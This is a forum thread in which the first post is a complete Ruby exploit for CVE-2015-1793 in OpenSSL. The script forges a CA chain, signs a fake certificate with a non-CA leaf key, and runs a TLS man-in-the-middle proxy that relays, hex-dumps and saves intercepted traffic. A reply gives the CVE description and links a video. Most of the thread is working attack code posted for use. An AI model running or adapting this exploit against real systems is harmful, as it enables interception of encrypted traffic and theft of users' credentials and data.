iulik Posted November 8, 2015 Report Share Posted November 8, 2015 #!/usr/bin/env ruby# encoding: ASCII-8BIT# By Ramon de C Valle. This work is dedicated to the public domain.require 'openssl'require 'optparse'require 'socket'Version = [0, 0, 1]Release = nilclass String def hexdump(stream=$stdout) 0.step(bytesize - 1, 16) do |i| stream.printf('%08x ', i) 0.upto(15) do |j| stream.printf(' ') if j == 8 if i + j >= bytesize stream.printf(' ') else stream.printf('%02x ', getbyte(i + j)) end end stream.printf(' ') 0.upto(15) do |j| if i + j >= bytesize stream.printf(' ') else if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr stream.printf('%c', getbyte(i + j)) else stream.printf('.') end end end stream.printf("\n") end endendoptions = {}OptionParser.new do |parser| parser.banner = "Usage: #{parser.program_name} [options] host cacert key cert" parser.separator('') parser.separator('Options:') parser.on('-H', '--local-host HOST', 'Local host') do |host| options[:local_host] = host end parser.on('-P', '--local-port PORT', 'Local port') do |port| options[:local_port] = port end parser.on('-d', '--debug', 'Debug mode') do options[:debug] = true end parser.on('-h', '--help', 'Show this message') do puts parser exit end parser.on('-o', '--output FILE', 'Output file') do |file| options[:file] = File.new(file, 'w+b') end parser.on('-p', '--port PORT', 'Port') do |port| options[:port] = port end parser.on('-v', '--verbose', 'Verbose mode') do options[:verbose] = true end parser.on('--pass-phrase PASS_PHRASE', 'Pass phrase for the key') do |pass_phrase| options[:pass_phrase] = pass_phrase end parser.on('--subject SUBJECT', 'Subject field for the fake certificate') do |subject| options[:subject] = subject end parser.on('--version', 'Show version') do puts parser.ver exit endend.parse!local_host = options[:local_host] || '0.0.0.0'local_port = options[:local_port] || 443debug = options[:debug] || falsefile = options[:file] || nilhost = ARGV[0] or fail ArgumentError, 'no host given'port = options[:port] || 443verbose = options[:verbose] || falsecacert = ARGV[1] or fail ArgumentError, 'no cacert given'key = ARGV[2] or fail ArgumentError, 'no key given'pass_phrase = options[:pass_phrase] || nilcert = ARGV[3] or fail ArgumentError, 'no cert given'subject = options[:subject] || "/C=US/ST=California/L=Mountain View/O=Example Inc/CN=#{host}"root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')root_ca_key = OpenSSL::PKey::RSA.new(2048)root_ca_cert = OpenSSL::X509::Certificate.newroot_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')root_ca_cert.not_after = Time.now + 86400root_ca_cert.not_before = Time.nowroot_ca_cert.public_key = root_ca_key.public_keyroot_ca_cert.serial = 0root_ca_cert.subject = root_ca_nameroot_ca_cert.version = 2extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')inter_ca_key = OpenSSL::PKey::RSA.new(2048)inter_ca_cert = OpenSSL::X509::Certificate.newinter_ca_cert.issuer = root_ca_nameinter_ca_cert.not_after = Time.now + 86400inter_ca_cert.not_before = Time.nowinter_ca_cert.public_key = inter_ca_key.public_keyinter_ca_cert.serial = 0inter_ca_cert.subject = inter_ca_nameinter_ca_cert.version = 2extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(cacert))subinter_ca_cert.issuer = inter_ca_namesubinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)leaf_key = OpenSSL::PKey::RSA.new(File.read(key), pass_phrase)leaf_cert = OpenSSL::X509::Certificate.new(File.read(cert))fake_name = OpenSSL::X509::Name.parse(subject)fake_key = OpenSSL::PKey::RSA.new(2048)fake_cert = OpenSSL::X509::Certificate.newfake_cert.issuer = leaf_cert.subjectfake_cert.not_after = Time.now + 3600fake_cert.not_before = Time.nowfake_cert.public_key = fake_key.public_keyfake_cert.serial = 0fake_cert.subject = fake_namefake_cert.version = 2extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)context = OpenSSL::SSL::SSLContext.newcontext.cert = fake_certcontext.extra_chain_cert = [leaf_cert, subinter_ca_cert]context.key = fake_keytcp_server = TCPServer.new(local_host, local_port)proxy = OpenSSL::SSL::SSLServer.new(tcp_server, context)puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verboseloop do Thread.start(proxy.accept) do |client| puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose context = OpenSSL::SSL::SSLContext.new(:TLSv1) context.verify_mode = OpenSSL::SSL::VERIFY_NONE tcp_socket = TCPSocket.new(host, port) server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context) server.connect puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose loop do readable, = IO.select([client, server]) readable.each do |r| data = r.readpartial(4096) data.hexdump($stderr) if debug puts '%d bytes received' % [data.bytesize] if debug || verbose if file file.write(data) file.flush file.fsync end case r when client count = server.write(data) server.flush data.hexdump($stderr) if debug puts '%d bytes sent' % [count] if debug || verbose when server count = client.write(data) client.flush data.hexdump($stderr) if debug puts '%d bytes sent' % [count] if debug || verbose end end end client.close server.close endendproxy.close Quote Link to comment Share on other sites More sharing options...
Amidamaru Posted November 21, 2015 Report Share Posted November 21, 2015 (edited) CVE-2015-1793Overview:The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly process X.509 Basic Constraints CA values during identification of alternative certificate chains, which allows remote attackers to spoof a Certification Authority role and trigger unintended certificate verifications via a valid leaf certificate.Si video explanation: explaining video Edited November 21, 2015 by Amidamaru Quote Link to comment Share on other sites More sharing options...